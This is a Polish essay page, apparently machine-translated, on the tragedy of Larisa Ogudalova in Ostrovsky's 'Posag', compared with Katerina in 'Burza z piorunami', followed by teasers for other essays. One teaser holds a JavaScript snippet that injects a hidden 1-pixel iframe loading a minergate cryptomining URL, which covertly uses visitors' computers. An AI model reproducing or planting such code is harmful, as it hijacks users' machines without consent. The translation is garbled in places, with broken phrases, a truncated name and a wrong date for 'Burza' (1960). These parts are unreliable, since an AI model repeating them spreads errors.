Larisa Ogudalova jest główną bohaterką sztuki A. N. Ostrowskiego „Posag”, która została po raz pierwszy opublikowana w „ Notatki krajowe„w 1879 r. W dramaturgii Ostrowskiego z lat 70. i 80. tematem przewodnim staje się siła pieniądza, własności i bogactwa w dobie „triumfu burżuazji”. Dramaturg w dalszym ciągu poszukuje w rosyjskim życiu sił, które mogłyby przeciwstawić się elementom niepohamowanej drapieżności, poniżaniu godności ludzkiej, zimnej kalkulacji i egoizmowi. Szczególnie odczuwalna jest troska pisarza o los człowieka „o ciepłym sercu”, który nawet w tym wyrachowanym czasie nadal żyje uczuciami, szukając miłości, zrozumienia i szczęścia. Taka jest bohaterka sztuki „Posag”.

Larisa ma wszystko - inteligencję, talent, urodę, wrażliwość. Jest czysta w duszy i bezinteresowna. Wychodzi do ludzi, wierzy im, liczy na zrozumienie i wzajemne uczucie. Ale Larisa jest bezdomna, co z góry przesądza o jej tragicznym losie.

Matka Larisy zabiega o to, aby córka wyszła za mąż za lepszą cenę, uczy Larisę życia według zasad, jakie dyktuje czas, zmuszając córkę do kłamstwa i bycia miłym dla bogatszej młodzieży. Ale bohaterka spektaklu nie może działać według kalkulacji. Oddaje swoje serce Siergiejowi Siergiejewiczowi Paratowowi, przystojnemu, inteligentnemu i silnemu. Ale Paratow to człowiek swoich czasów, kierujący się zasadą: „Każdy produkt ma swoją cenę”. Larisa jest dla niego także towarem. A on nie jest gotowy zapłacić swojego dobrobyt materialny dla miłości i szczęścia. Paratow poślubia bogatą pannę młodą, a raczej kopalnie złota przekazane jej w posagu.

Nie znajdując miłości, Larisa próbuje żyć „jak wszyscy inni”. Postanawia poślubić biednego urzędnika Julija Kapitonowicza Karandyszewa. W swoim wybranym Larisa szuka cech godny szacunku: „Powinnam przynajmniej szanować męża” – mówi. Ale trudno szanować Karandyszewa. W swoich daremnych próbach porównań z Knurowem i Wozhewatowem wygląda śmiesznie i żałośnie. Nie słyszy prośby Larisy, aby udała się do wioski, gdzie ma nadzieję znaleźć przynajmniej spokój ducha. Dla Julija Kapitonowicza ważniejsze jest, aby „z kolei śmiał się” z tych, których upokorzenie znosił przez trzy lata. Nie ma czasu na męki Larisy!

Po zerwaniu z Karandyszewem, po oszustwie Paratowa, Larisa szuka prostego ludzkiego współczucia, zwracając się do swojego przyjaciela z dzieciństwa Wozhewatowa: „No cóż, przynajmniej płacz ze mną” – prosi go. Jednak Wozhewatow stracił już na rzecz Knurowa możliwość wpływu na los Larisy. „Nie mogę, nie mogę nic zrobić” – brzmi odpowiedź Wożewatowa na Larisę. Materiał ze strony

Nie znajdując ani miłości, ani szacunku, ani prostego współczucia i zrozumienia, Larisa traci sens życia. Mówi z goryczą: „Patrzyli na mnie i nadal patrzą, jakbym była żartem. Nikt nigdy nie próbował zajrzeć w moją duszę, nie spotkałam się ze współczuciem, nie usłyszałam ciepłego, serdecznego słowa. Ale zimno jest tak żyć.

Strzał Karandysheva staje się dla niej wybawieniem od psychicznej udręki, od wulgarnego życia „rzeczy”, zabawki w rękach tych, którzy mogą za to zapłacić. „Umrzeć, póki nie ma sobie jeszcze nic do zarzucenia” – to najlepsze, co pozostaje „rozpalonemu sercu” w świecie kalkulacji i próżności.

To osobista tragedia Larisy. Ale to także tragedia społeczeństwa, w którym rządzą pieniądze, a szczęście człowieka mierzy się jedynie ich ilością.

Nie znalazłeś tego, czego szukałeś? Skorzystaj z wyszukiwania

Na tej stronie znajdują się materiały na następujące tematy:

• tragedia Larisy, bezdomnej kobiety
• niż tragedia losu Larisy Ogudalovej
• wiadomość na temat tragedii Larisy
• Posag Ostrowskiego, jaka jest tragedia Ogudalovej
• jaki może być los Larisy w posagu

Larisa Ogudalova – bohaterka romansu

Ostrovsky gra w reprezentacji kobiet

Larisa Ogudalova to obraz nie mniej znany niż Katerina Kabanova i budzi nie mniej kontrowersji. Głównym pytaniem pozostaje kwestia siły moralności Larisy i znaczenia jej ostatnich słów. Ostrovsky stworzył naprawdę sprzeczny obraz, w tej części pracy postaramy się znaleźć odpowiedź na pytanie, jaka jest prawdziwa siła charakteru Larisy Ogudalovej i dlaczego ona, w przeciwieństwie do duchowo czystej Kateriny, pozostaje także ucieleśnieniem kobieca tragedia.

Współczesne rozumienie tego obrazu opiera się w dużej mierze na percepcji filmu słynny film„Okrutny romans”, kłócący się o zgodność wersji reżyserskiej i zamierzenie autora My nie, ale wydaje nam się, że tytuł filmu bardzo trafnie oddaje stylistykę spektaklu. A-przeorat, okrutny romans- to miejska ballada miłosna, przepełniona przesadnym tragicznym patosem, sentymentalna, ale nie dająca poczucia katharsis, ten tragiczny patos jest nieodłączny od wszystkich głównych bohaterów spektaklu, z wyjątkiem samej Larisy, która odlatuje jak mewa - ptak, który dał korzeń jej imieniu - ponad duchowo Mali ludzie. „Posag” to sztuka o życiu codziennym i obyczajach, jednak nie ma w niej przełomu, jaki znajdziemy w „Burzy z piorunami”. Śmierć Larisy nie jest sprawą samą Larisy, ale wynikiem błyskawicznego wyboru bohaterki, która przed Ostatnia chwila jest w niewoli własnych złudzeń, dlatego jej śmierć nie jest samobójstwem, ale strzałem Karandyszewa. Łotman w artykule „Ostrowski i rosyjski dramat swoich czasów” ocenia tragedię bohaterki Larisy Ogudalovej: „ nowoczesna kobieta, który czuje się jednostką, samodzielnie podejmuje ważne życiowe decyzje, staje w obliczu okrutnych praw społeczeństwa i nie może się z nimi pogodzić ani przeciwstawić nowym ideałom. Pod zaklęciem silny mężczyzna, bystra osobowość, nie od razu zdaje sobie sprawę, że jego urok jest nierozerwalnie związany z władzą, jaką daje mu bogactwo, i z bezlitosnym okrucieństwem „zbieracza kapitału”. Śmierć Larisy - tragiczne wyjście od nierozwiązywalnych sprzeczności moralnych tamtych czasów.”

Spektakl „Posag” powstał pod koniec lat 70. XIX wieku, w okresie triumfu nowobogackiego – zamożnych kupców, kiedy wszystko większy wpływ pieniądze wpływały na ludzi, zaciemniając prawdziwe wartości. Tragiczne konsekwencje odbiło się to na losie główny bohater dramaty. Larisa jest miękką, czystą dziewczyną, ale została wychowana w najlepszych Tradycje europejskie- nauczono ją tego, co powinna Europejska dziewczyna: dobre maniery I edukacja muzyczna. Ale Larisa nie rozumie prawdziwego znaczenia tej edukacji, która jest jedynie piękną ramą dla cennej rzeczy. Jej matka, która już z sukcesem „umieściła” dwie córki, z których żadna nie znalazła szczęścia, również wróży Larisie udane małżeństwo z zamożnym mężczyzną. Starsza Ogudalova nie działa na korzyść córki, w tym świecie zysku tragedia zaczyna się od tego, że matka próbuje sprzedać córkę za wyższą cenę, dla własnego dobra.

Larisa jest pozbawiona matczyna miłość, jest w ogóle pozbawiona miłości, podobnie jak Katerina, a jej serce domaga się uzupełnienia tego braku miłości. Tutaj jest bliżej obrazu Tatyany Lariny, której dusza czekała na „kogoś”, ale w przeciwieństwie do Tatyany, której historia kończy się małżeństwem, choć z niekochanym, ale z osobą szanowaną przez nią i społeczeństwo, która kocha Tatyanę, Larisę nie otrzymuje miłości, na jaką zasługuje, ani od wybrańca Paratowa, ani od narzeczonego Karandyszewa.

Larisa, naiwna młoda dziewczyna, nie może uwierzyć, że w społeczeństwie, w którym zgodnie z wolą matki musi się przeprowadzić, o wszystkim decydują pieniądze. „Uosabia tradycje szlacheckiego wychowania, a jej charakter ujawnia ostrą sprzeczność między pragnieniem zewnętrznego blasku, ostentacyjnej szlachetności życia a głębszymi, wewnętrznymi właściwościami jej natury - powagą, prawdomównością i pragnieniem prawdziwych i szczerych relacji . Taka sprzeczność była wówczas zjawiskiem spotykanym w życiu najlepszych przedstawicieli uprzywilejowanych warstw społeczeństwa”. W jej mniemaniu oczywiście wszystko wie doskonale, los jej sióstr jest tego wyraźnym dowodem, ale jej dusza po prostu nie może tego zaakceptować. To niesamowite, jak w tej rodzinie dorastała tak czysta i głodna miłości dziewczyna, która dąży do naprawdę wzniosłego uczucia i, jak jej się wydaje, znajduje je w osobie „genialnego mistrza” Siergieja Siergiejewicza Paratowa. Kobieta o żarliwym sercu Larisa szuka miłości, nie ma w niej kalkulacji ani wulgarności: „W końcu w Larisie Dmitrievnej nie ma ziemskiej, tej ziemskiej rzeczy” – zauważa Knurov. Poszukuje wzniosłości piękna miłość, z wdziękiem piękne życie. Larisa jest ślepo pewna, że ​​Paratow kocha ją tak szczerze i lekkomyślnie, jak ona go kocha, i to jest jej tragedia. Katerinę i Larisę łączy fakt, że obie są w stanie obdarzyć swojego wybrańca nieistniejącym duchowym pięknem, ale jeśli Katerina wie o swoim błędzie, chociaż ukrywa tę wiedzę, to Larisa nie widzi, że jest to tylko w niej świat, który Paratow ma cechy idealna osoba który jest zdolny do miłości.

„Ale wybraniec Larisy, nie posiadający zmysłu biznesowego kupców Knurowa i Wozhewatowa, zdążył już w pełni przyswoić sobie ich moralność; to nie przypadek, że wyznaje Knurowowi: „Ja, Mokij Parmenych, nie mam niczego cenionego; Jeśli znajdę zysk, sprzedam wszystko, cokolwiek. Larisa przyciąga swojego kochanka do siebie i Karandysheva w ten sposób: „Sam coś znaczysz, jesteś dobry, człowiek uczciwy; ale w porównaniu z Siergiejem Siergiejem tracisz wszystko... Siergiej Siergiej... jest ideałem mężczyzny. Nie jesteśmy w stanie dokładnie określić zasięgu czytania Larisy Ogudalovej, ale możemy założyć, że została na niej wychowana romantyczne historie i stamtąd wzięła swój ideał, którego ucieleśnienie widzi Paratova: ideał męskości, odwagi, męstwa i honoru. Larisa nie jest w stanie krytycznie spojrzeć na tego mężczyznę: epizod z kaukaskim oficerem, kiedy Paratow, aby zademonstrować swój spokój i celność, strzelił do celu, który trzymała w dłoni, postrzega jako dowód jego „idealności” ”, tak podobny do „idealności” bohaterowie romantyczni. Chociaż w rzeczywistości ten odcinek mówi jedynie o przechwalaniu się i dumie, dla której Siergiej Siergiej bez wahania ryzykuje życie swoje i innych.

W rzeczywistości " idealny mężczyzna„Siergiej Siergiej jest tchórzem i to tchórzem najniższego rodzaju, ponieważ boi się pozostać bez kapitału i dlatego żeni się bogatą kobietą, a jego „wybuch namiętności” do Larisy to tylko gra z Karandyszewem, któremu Paratow „wskazuje miejsce” w tak niemoralny sposób, doskonale zdawał sobie sprawę ze wszystkiego i dokładnie kalkulował swoje postępowanie. Larisa jest dla niego piękną rzeczą, zabawką, którą nagle zabrał jakiś nieistotny Karandyshev. Bohaterka spektaklu kompromituje się, wyjeżdżając z Paratowem, ale nie jest jeszcze świadoma swojego grzechu, dopiero po rozmowie z Siergiejem Siergiejewiczem rozumie, że jej miłość była zbudowaną przez nią iluzją. Larisa jest oczarowana i żyje w zaczarowanym świecie, który ulega zniszczeniu w miarę postępów w grze. Nie ma tej siły moralnej co Katerina, ducha przenikliwości, który pozwolił bohaterce „Burzy” uprzedzić swój tragiczny koniec, rozczarowała się nie światem, a na razie tylko kochankiem. Wciąż wierzy, że otaczający ją świat, choć okrutny, wcale nie przypomina tego romantycznego świata, który tak uparcie budowała.

Przez całą sztukę Larisa nie rośnie duchowo, zaczyna widzieć duchowo, jej oczy są otwarte, ale rozwój wewnętrzny jako taki nie następuje, ale przyczyną tego wcale nie jest brak duchowej zasady w Larisie, tam nie ma w Larisie takiej siły, która byłaby w stanie tak mocno przełamać ugruntowaną władzę pieniądza, ona jest w stanie jedynie opuścić ten świat w fikcyjny świat stworzony przez jej wyobraźnię, ale nie ma siły walczyć. Ostatecznie dziewczyna, złamana zdradą kochanka, przed którą „objawił się fałsz ideału, w imię którego była gotowa ponieść wszelkie ofiary” i przed którą „w całej swej brzydocie położenie, do jakiego jest skazana na zagładę – rola drogiej rzeczy” postanawia zostać utrzymaną kobietą, aby ponownie spróbować zbudować wokół siebie swego rodzaju „kokon”, za pomocą pieniędzy Knurowa, aby zbudować, jeśli nie piękną miłość, wtedy przynajmniej piękne życie. Można Larisę winić za brak duchowości, bo taka decyzja jest niemoralna, a ona sama mówi, że „złoto świeciło przed nią”, ale ta decyzja jest decyzją podjętą w całkowitej rozpaczy i w jej mniemaniu jest równoznaczna z pragnieniem umrzeć. Rozumie, że czeka ją śmierć duchowa i waha się pomiędzy śmiercią ciała a śmiercią duszy. DO tragiczny koniec prowadzi Larisę do zrozumienia, że ​​wszyscy wokół niej postrzegają ją jako drogą, piękną rzecz, którą można kupić. Wypowiada gorzkie słowa: „Rzecz... tak, rzecz! Mają rację, jestem rzeczą, a nie osobą... Każda rzecz musi mieć właściciela, ja pójdę do właściciela. Czując się jak rzecz, Larisa na chwilę porzuca wszystkie swoje duchowe cechy, ale one się manifestują: dziewczyna nie może stać się prostą kobietą, zabawką, do której nie czują miłości i która sama nie czuje miłości.

Kiedy Larisa po raz pierwszy mówi o samobójstwie, tylko prowokuje Paratowa do podjęcia decyzji, która wydawała się Larisie korzystna dla niej: „Dla nieszczęsnych ludzi w świecie Boga jest dużo miejsca: tu jest ogród, tu jest Wołga. Tutaj możesz powiesić się na każdej gałęzi, na Wołdze - wybierz dowolne miejsce. Łatwo jest utopić się gdziekolwiek, jeśli się ma ochotę i siłę” – nie myśli jeszcze poważnie o samobójstwie. Słowa o Wołdze i ogrodzie mają raczej przestraszyć jej kochanka, ale Knurow zaprasza ją, by została utrzymaną kobietą, podkreślając znaczenie: „Nie mogę zrobić nic”, myśli o śmierci stają się rzeczywistością. Larisa wspomina: „Rezygnacja z życia wcale nie jest taka łatwa, jak myślałam. Więc nie mam siły! Jaki jestem nieszczęśliwy! Ale są ludzie, dla których to jest łatwe... Och, kim ja jestem!... ale nic mi nie jest miłe i nie mam po co żyć! Dlaczego się waham? Co mnie trzyma nad tą otchłanią? Co Cię powstrzymuje? O nie, nie... Nie Knurow, luksus, błyskotliwość... nie, nie... Zawdzięczam to próżności... Rozpusta... o nie... Po prostu nie mam już determinacji . Żałosna słabość: żyć chociaż jakoś, ale żyć... Kiedy nie można żyć i nie trzeba. Jakże jestem żałosny i nieszczęśliwy... Gdyby tylko ktoś mnie teraz zabił... Jak dobrze jest umrzeć... Nie mam sobie jeszcze nic do zarzucenia. Albo zachoruję i umrę... Tak, myślę, że zachoruję. Jak mi źle!.. Długo będę chora, uspokoisz się, pogodzisz się ze wszystkim, przebaczysz wszystkim i umrzesz... Och, jak źle, jak zawroty głowy.

Nawet perspektywa pięknego życia nie pociesza Larisy, wypowiada słowo „rozpusta”, co oznacza, że ​​zdaje sobie sprawę z ogromu perspektywy zaproponowanej przez Knurowa, co oznacza duchowość to jest w niej mocne. Aż do momentu objawienia Larisa żyła miłością, która była w niej silniejsza niż koncepcje moralności i moralności, zwłaszcza że takie koncepcje nie były priorytetem w jej wychowaniu; teraz czuje w sobie prawo moralne, nie związane z religią, jak Katerina, ale związane z jej rozumieniem „ideału”, który, jak się okazuje, jest nierozerwalnie związany z moralnością.

Kiedy Karandyshev mówi pannie młodej, że Knurow i Wozhewatow ją skrzywdzili, w duszy Larisy następuje tragiczne załamanie, nie będzie już mogła budować wokół siebie złudzeń - prawdziwy świat okazała się silniejsza niż jej wyobraźnia, nie będzie już mogła żyć na tym świecie. Karandyshev, dla którego jego żona, członkini kręgu lokalnych milionerów, miała stać się środkiem do przezwyciężenia własnego kompleksu niższości, pomaga Larisie, nie zdając sobie z tego sprawy, spełnić jej najskrytsze pragnienie: „Gdyby tylko ktoś mnie teraz zabił …” – ratuje ją, pozwala odejść, nie skażając duszy i ciała rozpustą, nie czyniąc z własnej urody towaru. Na minutę przed śmiercią okazuje prawdziwą szlachetność, ratując zabójcę przed procesem, przekonując Paratowa, Knurowa, Wozhewatowa, otaczających ją prawdziwych sprawców jej śmierci, że popełniła samobójstwo. Chociaż można inaczej zinterpretować jej słowa: chcę wierzyć w fantastyczną ideę, że Larisa mocą swojej duszy może nadal wpływać na świat i to jej determinacja, a nie strzał Karandyszewa, pozwala jej umrzeć … „To ja… Nikt nie jest winny, nikt… To ja”.

„Paratow gorączkowo krzyczy do śpiewających Cyganów: „Powiedzcie im, żeby się zamknęli! Powiedz mi, żebym się zamknął!” - ale umierająca Larisa ma siłę, by ironicznie sprzeciwić się rozkazowi Paratowa: „Nie, nie, po co!.. Niech się bawią, jedni się bawią, inni się bawią... Nie chcę nikomu przeszkadzać. Żyj, żyj wszystkim! Ty musisz żyć, ale ja muszę... umrzeć. Nie narzekam na nikogo, nie obrażam się na nikogo... wszyscy dobrzy ludzie...” jej życie kończy się głęboko szczerym wyznaniem: „Kocham was wszystkich... was wszystkich” – jej świat triumfuje, a ona potrafiła przez ból, przez rozczarowanie zdobyć taką siłę duchową, wznieść się do tego stopnia, że ​​całym sercem dała światu okrucieństwa i zysku przebaczenie i pocałunek.

Larisa ostatecznie okazała się tak silna jak Katerina, choć nic na świecie nie zmieniła, ale potrafiła światu wybaczyć. Dziewczyna-ptaszek w końcu znajduje grób w tej samej Wołdze, to znaczy staje się wolna. Prawdziwa siła charakteru Larisy Ogudalowej leży w jej zdolności kochania i przebaczania, w jej poświęceniu, w jej naiwnej wierze w świat. Która inna bohaterka jest w stanie ślepo wierzyć w miłość w świecie, w którym władza należy do pieniędzy? Czyż nie jest silna ta dziewczyna, która tuż przed śmiercią, w ciągu kilku krótkich godzin, przeżywa rozczarowanie w miłości, w świecie, w sobie, ale może umrzeć, przesyłając światu pocałunek? Świat się nie zmieni, śpiewa chór cygański, a Larisa nie żąda przerwania zabawy z tej „celebracji życia”, po prostu wychodzi, wychodzi z czysta dusza i z czystym sercem, nie przyćmionym nienawiścią. Myślę, że to jest jej prawdziwa siła.

Bohaterkami sztuk Ostrowskiego najczęściej stają się kobiety. Oczywiście te kobiety to niezwykłe i niezwykłe osoby. Wystarczy przypomnieć bohaterkę dramatu Groza Katerina. Jest tak emocjonalna i podatna na wpływy, że wyróżnia się na tle innych postaci w sztuce. Los Kateriny jest nieco podobny do losu innej bohaterki Ostrowskiego. W w tym przypadku mówimy o o sztuce Posag.

Larisa Ogudalova musiała doświadczyć obojętności i okrucieństwa otaczających ją osób, przetrwać dramat miłosny, w wyniku czego umiera, podobnie jak bohaterka Burzy. Ale pomimo pozornego podobieństwa Larisa Ogudalova ma zupełnie inny charakter niż Katerina Kabanova. Dziewczyna otrzymała doskonałe wykształcenie. Jest mądra, wyrafinowana, wykształcona, marzy o pięknej miłości, ale początkowo jej życie okazuje się zupełnie inaczej. Ona jest bezdomna. Matka Larisy jest bardzo samolubna. Sprzedaje piękno i młodość swoich córek. Starsze siostry Larisy zadomowiły się już dzięki opiece zaradnego rodzica, ale niestety ich życie rozwija się bardzo, bardzo tragicznie.

Larisa Ogudalova zakochuje się w genialnym dżentelmenie Siergieju Siergiejewiczu Paratowie. Szczerze uważa go za idealnego mężczyznę. Mistrz ma fortunę, w pełni odpowiada idei szlachetnego i wykształcona osoba. Wewnętrzna esencja jego zostaje ujawniony później. Larisa jest młoda i niedoświadczona, więc wpada w pułapkę Paratowa i rujnuje siebie. Nie ma silnego charakteru i staje się zabawką w rękach innych. Dochodzi do momentu, w którym dziewczyna odgrywa rolę w rzucaniu. Osoby wokół niej uważają ją za rzecz, kosztowną i piękną rozrywkę, lecz jej wysublimowana dusza, uroda i talent okazują się nieistotne. Karandyshev mówi do Larisy: Nie patrzą na ciebie jak na kobietę, jak na osobę… patrzą na ciebie jak na rzecz.

Ona sama się z tym zgadza: Rzecz... tak, rzecz! Mają rację, jestem rzeczą, nie jestem osobą….

Larisa ma gorące serce, jest szczera i emocjonalna.Hojnie daje swoją miłość, ale co dostaje w zamian?Dla ukochanej osoby Larisa jest po prostu kolejną rozrywką, rozrywką. Z rozpaczy zgadza się nawet przyjąć warunki Knurowa.

Śmierć jest dla Larisy rodzajem zbawienia, oczywiście duchowym zbawieniem. Więc tragiczny koniec ratuje ją przed trudnym wyborem, przed którym próbuje dokonać, ratuje ją ruina moralna i wpadnięcie w otchłań zwaną zepsuciem.

Dramat A. N. Ostrowskiego „Burza z piorunami” ukazał się w 1960 r., w przeddzień sytuacja rewolucyjna w Rosji. W utworze odzwierciedlono wrażenia z podróży pisarza wzdłuż Wołgi latem 1856 roku. Ale w „Burzy z piorunami” nie przedstawiono żadnego konkretnego miasta Wołgi ani konkretnych osób. Ostrovsky przerobił wszystkie swoje obserwacje na temat życia w regionie Wołgi i przekształcił je w głęboko typowe obrazy rosyjskiego życia.

Gatunek dramatu charakteryzuje się tym, że opiera się na konflikcie pomiędzy jednostką a otaczającym ją społeczeństwem. W „Burzy z piorunami” tą osobą jest Katerina Kabanova.

Katerina uosabia czystość moralna, duchowe piękno Rosjanka, jej pragnienie woli, wolności, jej zdolność nie tylko do znoszenia, ale także do obrony swoich praw, jej godność człowieka. Zdaniem Dobrolubowa „nie zabiła w sobie natury ludzkiej”.

Katarzyna – Rosjanka charakter narodowy. Przede wszystkim odzwierciedla to Ostrovsky, który posiadał całe bogactwo w doskonałości język miejscowy w przemówieniu bohaterki. Kiedy mówi, wydaje się, że śpiewa. W wypowiedzi Katarzyny, kojarzonej z zwykłymi ludźmi, wychowanej na ich poezji ustnej, dominuje słownictwo potoczne, charakteryzujące się wysoką poezją, obrazowością i emocjonalnością. Czytelnik czuje muzykalność i melodyjność, przypomina przemówienie Katyi pieśni ludowe. Język bohaterki Ostrowskiej charakteryzuje się powtórzeniami („dobra ocena C”, „ludzie są dla mnie obrzydliwi, a dom jest dla mnie obrzydliwy, a ściany obrzydliwe!”), Mnóstwem czułych i drobnych słów ( „słońce”, „wodica”, „grób”). , porównanie („nie smuciła się niczym jak ptak na wolności”, „ktoś mówi do mnie życzliwie, jak gruchanie gołębicy”). Tęskniąc za Borysem, w chwili największego napięcia sił duchowych, Katerina wyraża swoje uczucia w języku poezja ludowa, wołając: „Gwałtowne wiatry, przekażcie mu mój smutek i melancholię!”

Uderza naturalność, szczerość i prostota wyspiarskiej bohaterki. „Nie wiem, jak oszukiwać; Nie mogę niczego ukryć” – odpowiada Varvara, która twierdzi, że w ich domu nie da się mieszkać bez oszustwa. Przyjrzyjmy się religijności Katarzyny. To nie jest hipokryzja Kabanikhy, ale dziecinna, autentyczna wiara w Boga. Często chodzi do kościoła i robi to z przyjemnością i zachwytem („A do kościoła uwielbiałam chodzić! Na pewno tak się stało, wejdę do nieba”), uwielbia rozmawiać o pielgrzymach („Nasz dom był pełen pielgrzymów i modliszek ”), marzenia Kateriny o „złotych świątyniach”.

Miłość wyspiarskiej bohaterki nie jest bez powodu. Po pierwsze, odczuwa się potrzebę miłości: w końcu jest mało prawdopodobne, aby jej mąż Tichon pod wpływem „mamy” bardzo często okazywał swoją miłość do żony. Po drugie, uczucia żony i kobiety są obrażane. Po trzecie, śmiertelna melancholia monotonnego życia dusi Katerinę. I wreszcie czwarty powód to pragnienie wolności, przestrzeni: wszak miłość jest jednym z przejawów wolności. Katerina walczy sama ze sobą i na tym polega tragedia jej sytuacji, ale w końcu usprawiedliwia się wewnętrznie. Popełniając samobójstwo, popełniając z punktu widzenia Kościoła grzech straszny, myśli nie o zbawieniu swojej duszy, ale o miłości, która została jej objawiona. "Mój przyjaciel! Moja radość! Do widzenia!" - to ostatnie słowa Kateriny.

Kolejną charakterystyczną cechą bohaterki Ostrowskiej jest „dojrzałe żądanie prawa i przestronności życia, które wypływa z głębin całego organizmu”, pragnienie wolności i duchowej emancypacji. Na słowa Varvary: "Gdzie pójdziesz? Jesteś żoną męża", Katerina odpowiada: "Ech, Varya, nie znasz mojego charakteru! Oczywiście, nie daj Boże, żeby tak się stało! A jeśli mi się tu znudzi, nie powstrzymają mnie żadną siłą. Wyrzucę się przez okno, rzucę się do Wołgi. Nie chcę tu mieszkać, nie zrobię tego, nawet jeśli mnie potniesz!” Nie bez powodu w spektaklu wielokrotnie pojawia się wizerunek ptaka – symbolu woli. Stąd stały epitet „wolny ptak”. Katerina, pamiętając, jak żyła przed ślubem, porównuje się do dzikiego ptaka. „Dlaczego ludzie nie latają jak ptaki” – mówi do Varvary. „Wiesz, czasami myślę, że jestem ptakiem”. Ale wolny ptak trafił do żelaznej klatki. A ona walczy i tęskni w niewoli.

Uczciwość i zdecydowanie charakteru Kateriny wyraziła się w tym, że odmówiła przestrzegania zasad domu Kabanikha i wolała śmierć od życia w niewoli. I nie był to przejaw słabości, ale duchowej siły i odwagi, żarliwej nienawiści do ucisku i despotyzmu.

Tak więc główny bohater dramatu „Burza z piorunami” popada w konflikt z otoczeniem. W czwartym akcie, w scenie pokuty, wydaje się, że rozwiązanie nastąpi. W tej scenie wszystko jest przeciwko Katerinie: „boża burza z piorunami”, przeklinająca, na wpół szalona „dama z dwoma lokajami” i starożytny obraz na zniszczonej ścianie przedstawiający „ognistą Gehennę”. Biedna dziewczyna została niemal doprowadzona do szaleństwa przez te wszystkie oznaki przemijającego, ale nieustępliwego starego świata i żałuje za swój grzech w pół majaczącym stanie ciemności. Ona sama przyznaje później Borysowi, że „nie była wolna sama w sobie”, „nie pamiętała siebie”. Gdyby dramat „Burza z piorunami” zakończył się tą sceną, pokazałby niezwyciężoność „ciemnego królestwa”: w końcu pod koniec czwartego aktu Kabanikha triumfuje: „Co za syn! Dokąd zaprowadzi wola?

Ale dramat kończy się moralnym zwycięstwem zarówno nad siłami zewnętrznymi, które krępowały wolność Kateriny, jak i nad mrocznymi ideami, które krępowały jej wolę i umysł. A jej decyzja, by umrzeć, zamiast pozostać niewolnicą, wyraża, zdaniem Dobrolyubova, „potrzebę rodzącego się ruchu rosyjskiego życia”.

Tragiczny los Larisa w „ ciemne królestwo„(na podstawie sztuki A. N. Ostrowskiego „Posag”)

Bohaterkami sztuk Ostrowskiego najczęściej stają się kobiety. Oczywiście te kobiety to niezwykłe i niezwykłe osoby. Wystarczy przypomnieć bohaterkę dramatu „Burza z piorunami” Katerinę. Jest tak emocjonalna i podatna na wpływy, że wyróżnia się na tle innych postaci w sztuce. Los Kateriny jest nieco podobny do losu innej bohaterki Ostrowskiego

W tym przypadku mówimy o spektaklu „Posag”.
Larisa Ogudalova musiała doświadczyć obojętności i okrucieństwa otaczających ją osób, przetrwać dramat miłosny, w wyniku czego umiera, podobnie jak bohaterka „Burzy”. Ale pomimo pozornego podobieństwa Larisa Ogudalova ma zupełnie inny charakter niż Katerina Kabanova. Dziewczyna otrzymała doskonałe wykształcenie. Jest mądra, wyrafinowana, wykształcona, marzy o pięknej miłości, ale początkowo jej życie okazuje się zupełnie inaczej. Ona jest bezdomna. Matka Larisy jest bardzo samolubna. Sprzedaje piękno i młodość swoich córek. Starsze siostry Larisy zdążyły się już „zadomowić” dzięki opiece zaradnego rodzica, ale niestety ich życie rozwija się bardzo, bardzo tragicznie.
Larisa Ogudalova zakochuje się w „genialnym mistrzu” Siergieju Siergiejewiczu Para. Szczerze uważa go za idealnego mężczyznę. Mistrz ma fortunę, w pełni odpowiada idei osoby szlachetnej i wykształconej. Jego wewnętrzna esencja zostaje ujawniona później. Larisa jest młoda i niedoświadczona, więc wpada w pułapkę Paraᴛᴏʙa i rujnuje siebie. Nie ma silnego charakteru i staje się zabawką w rękach innych. Dochodzi do momentu, w którym dziewczyna odgrywa rolę w rzucaniu. Osoby wokół niej uważają ją za rzecz, kosztowną i piękną rozrywkę, lecz jej wysublimowana dusza, uroda i talent okazują się nieistotne. Karandyshev mówi Larisie: „Nie patrzą na ciebie jak na kobietę, jak na osobę… patrzą na ciebie jak na rzecz”.
Ona sama się z tym zgadza: „Rzecz... tak, rzecz! Mają rację, jestem rzeczą, nie jestem osobą…”
Larisa ma namiętne serce, jest szczera i emocjonalna.Hojnie daje swoją miłość, ale co dostaje w zamian? Dla ukochanej osoby Larisa jest po prostu kolejną formą rozrywki i zabawy. Z rozpaczy zgadza się nawet przyjąć warunki Knurowa.
Śmierć jest dla Larisy rodzajem zbawienia, oczywiście duchowym zbawieniem. Tak tragiczny koniec ratuje ją przed trudnym wyborem, jakiego dokonuje, ratuje od śmierci moralnej i upadku w otchłań zwaną zepsuciem.

Strona 1 z 1

Filmowa opowieść „Ukraina w ogniu”: losy narodu przez pryzmat autorskiej wizji i oceny

(funkcja() ( var w = document.createElement("iframe"); w.style.border = "brak"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); )) ();...

Bohaterowie Wojny Ojczyźnianej w powieści Grossmana „Życie i los”

O Wielkim Wojna Ojczyźniana wiele napisano. Pierwsze prace na ten temat zaczęły pojawiać się w połowie lat czterdziestych i od tego czasu nieprzerwanym strumieniem ukazują się powieści, opowiadania i wiersze o wojnie. A wiele z nich było niestety zupełnie przeciętnych i nieczytelnych.

Los człowieka i miłość do ojczyzny w twórczości A. Malyszki

Andrey Samoilovich Malyshko – niezwykła postać w historii Kultura ukraińska. Jego wielostronny talent objawiał się w różnych dziedzinach, ale muza poezji była dla pisarza jak najbardziej przychylna. Jego dorobek obejmuje ponad dwa tuziny zbiorów i siedemnaście wierszy, w których autor obejmuje szerokie horyzonty tematyczne. Ale poeta pisze o człowieku pracującym, patriotycznym, ze szczególnym drżeniem i ciepłem. Ojczyzna w wierszu „Ojczyzna” ukazana jest jako źródło życia, mądrości, piękna i matczynej opieki. Ona, jak słusznie uważa autor, jest ich właścicielką magiczna moc, bo ci, którym dała „chleb… przy pieśniach słowika”, nabywają naturalną moc:…

Tragiczny los Tarasa Szewczenki

Jak wiecie, Szewczenko był synem chłopa pańszczyźnianego i sam był poddanym. Ojciec i matka wielkiego poety zmarli przedwcześnie z powodu przepracowania, nędzy i chorób. Taki sam los spotkał Tarasa Szewczenkę. W wieku jedenastu lat pozostawił sierotę, wcześnie doświadczył nieznośnych trudów pracy przymusowej i odczuł smutek „biednego, bez uśmiechu chłopa”. Szewczenko żył w niezwykle trudnych warunkach, był bardzo biedny, często głodował i chorował....

